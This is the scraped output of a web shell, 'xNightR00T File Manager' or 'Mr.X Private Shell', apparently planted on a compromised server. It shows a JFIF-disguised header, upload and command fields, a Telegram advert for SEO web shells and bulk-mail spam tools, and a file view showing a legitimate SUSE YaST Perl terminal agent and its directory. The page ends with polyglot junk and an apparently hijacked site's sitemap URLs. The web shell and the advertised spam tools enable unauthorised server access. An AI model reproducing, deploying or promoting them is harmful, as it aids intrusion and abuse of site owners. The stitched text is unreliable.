xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/perl -w
#
# $Id$
# Author: Martin Vidner <mvidner@suse.cz>
#         Stanislav Visnovsky <visnov@suse.cz>
#

# An agent for /dev/tty using Perl readline library

use ycp;
use strict;
use Term::ReadLine;

use Encode;

# query the current encoding
use I18N::Langinfo qw(langinfo CODESET);
my $codeset = langinfo(CODESET());

sub ReadString($$) {
    my ($term,$prompt) = @_;

    # the 1 prevents returning strings as integers/booleans
    $_ = $term->readline($prompt);
    if( defined ($_) )
    {
	ycp::Return ($_, 1);
    }
    else
    {
	ycp::Return (undef);
    }
}

sub ReadStringNoHistory($$)
{
    my ($term,$prompt) = @_;
    # get current minimun line size for history, disable history
    my $min_line = $term->MinLine(undef);

    # read input
    ReadString($term, $prompt);

    # reenable history - set previous state
    $term->MinLine($min_line);
}


sub ReadStringNoEcho($$)
{
    my ($term,$prompt) = @_;

    # disable echo
    system("/bin/stty -F /dev/tty -echo");

    # read input
    ReadStringNoHistory($term, $prompt);

    # reenable echo
    system("/bin/stty -F /dev/tty echo");

    # new line
    my $OUT = $term->OUT || \*STDOUT;
    print $OUT "\n";
}

#
# MAIN cycle
#

# read the agent arguments
$_ = <STDIN>;

# no input at all - simply exit
# exit if ! defined $_;
# reply to the client (this actually gets eaten by the ScriptingAgent)
ycp::Return (undef);

  my $term = Term::ReadLine->new( 'Simple Readline interface');
  my $prompt = "YaST2> ";
  my $OUT = $term->OUT || \*STDOUT;
  
 $term->ornaments(0);

while ( <STDIN> )
{
    my ($command, $path, $argument) = ycp::ParseCommand ($_);
    
    if ($command eq "Write")
    {
	if( $path eq "." )
	{
	    # recode from utf8 (broken YaST)
	    # it sends almost UTF-8 (but encodes some chars as octals), so Perl
	    # does not like it as UTF-8. Let's force the conversion
	    my $octets = encode( "iso-8859-1", $argument );
	    Encode::from_to($octets, "utf-8", $codeset);
	    
	    print $OUT  $octets ,"\n";
	    ycp::Return ( "true" );
	}
	elsif ( $path eq ".nocr" )
	{
	    my $octets = encode( "iso-8859-1", $argument );
	    Encode::from_to($octets, "utf-8", $codeset);
	    
	    print $OUT  $octets;
	    ycp::Return ( "true" );
	}
	elsif ( $path eq ".prompt" )
	{
	    $prompt = $argument;
	    ycp::Return( "true" );
	}
	elsif ( $path eq ".stderr" )
	{
	    # recode from utf8 (broken YaST)
	    # it sends almost UTF-8 (but encodes some chars as octals), so Perl
	    # does not like it as UTF-8. Let's force the conversion
	    my $octets = encode( "iso-8859-1", $argument );
	    Encode::from_to($octets, "utf-8", $codeset);
	    
	    print STDERR  $octets ,"\n";
	    ycp::Return ( "true" );
	}
	elsif ( $path eq ".stderr_nocr" )
	{
	    # recode from utf8 (broken YaST)
	    # it sends almost UTF-8 (but encodes some chars as octals), so Perl
	    # does not like it as UTF-8. Let's force the conversion
	    my $octets = encode( "iso-8859-1", $argument );
	    Encode::from_to($octets, "utf-8", $codeset);
	    
	    print STDERR  $octets;
	    ycp::Return ( "true" );
	}
	else 
	{
	    y2error ("Unrecognized path! '$path'");
	    ycp::Return (undef);
	}
    }

    elsif ($command eq "Read")
    {
	if ($path eq ".")
	{
	    ReadString($term, $prompt);
	}
	elsif ($path eq ".nohistory")
	{
	    ReadStringNoHistory($term, $prompt);
	}
	elsif ($path eq ".noecho")
	# read, but don't add the input into history and don't show it
	# should be used for reading a password
	{
	    ReadStringNoEcho($term, $prompt);
	}
	else
	{
	    y2error ("Unrecognized path! '$path'");
	    ycp::Return (undef);
	}
    }

    elsif ($command eq "result")
    {
	exit;
    }

    # Unknown command
    else
    {
	y2error ("Unknown instruction $command or argument: ", ref ($argument));
	ycp::Return (undef);
    }
    print "\n";
}

Filemanager

Name Type Size Permission Actions
MasterCFParser.pm File 10.55 KB 0755
ag_anyxml File 3.21 KB 0755
ag_background File 8.56 KB 0755
ag_content File 738 B 0755
ag_convert_named_conf File 1.65 KB 0755
ag_cron File 2.5 KB 0755
ag_dhcpd_conf File 6.28 KB 0755
ag_dns_zone File 8.84 KB 0755
ag_etc_sudoers File 5.37 KB 0755
ag_exports File 4.7 KB 0755
ag_fetchmailrc File 8.09 KB 0755
ag_freespace File 1.48 KB 0755
ag_hostnames File 4.68 KB 0755
ag_http_server File 13.31 KB 0755
ag_initscripts File 9.19 KB 0755
ag_kadmin File 21.21 KB 0755
ag_kerberos File 12.27 KB 0755
ag_ksimport File 7.22 KB 0755
ag_mail_ldaptable File 1.79 KB 0755
ag_mailconfig File 6.42 KB 0755
ag_mailtable File 5.88 KB 0755
ag_modinfo File 2.09 KB 0755
ag_named_forwarders File 1.68 KB 0755
ag_netd File 17.24 KB 0755
ag_nis File 6.3 KB 0755
ag_pam_mount File 5.83 KB 0755
ag_passwd File 21.11 KB 0755
ag_ping File 1.58 KB 0755
ag_showexports File 2.49 KB 0755
ag_smtp_auth File 5.6 KB 0755
ag_tty File 3.75 KB 0755
ag_udev_persistent File 3.61 KB 0755
ag_uid File 1.39 KB 0755
ag_yp_conf File 7.56 KB 0755
ag_yp_makefile File 4.38 KB 0755
ag_zypp_repos File 1.55 KB 0755
setup_dkim_verifying.pl File 5.15 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml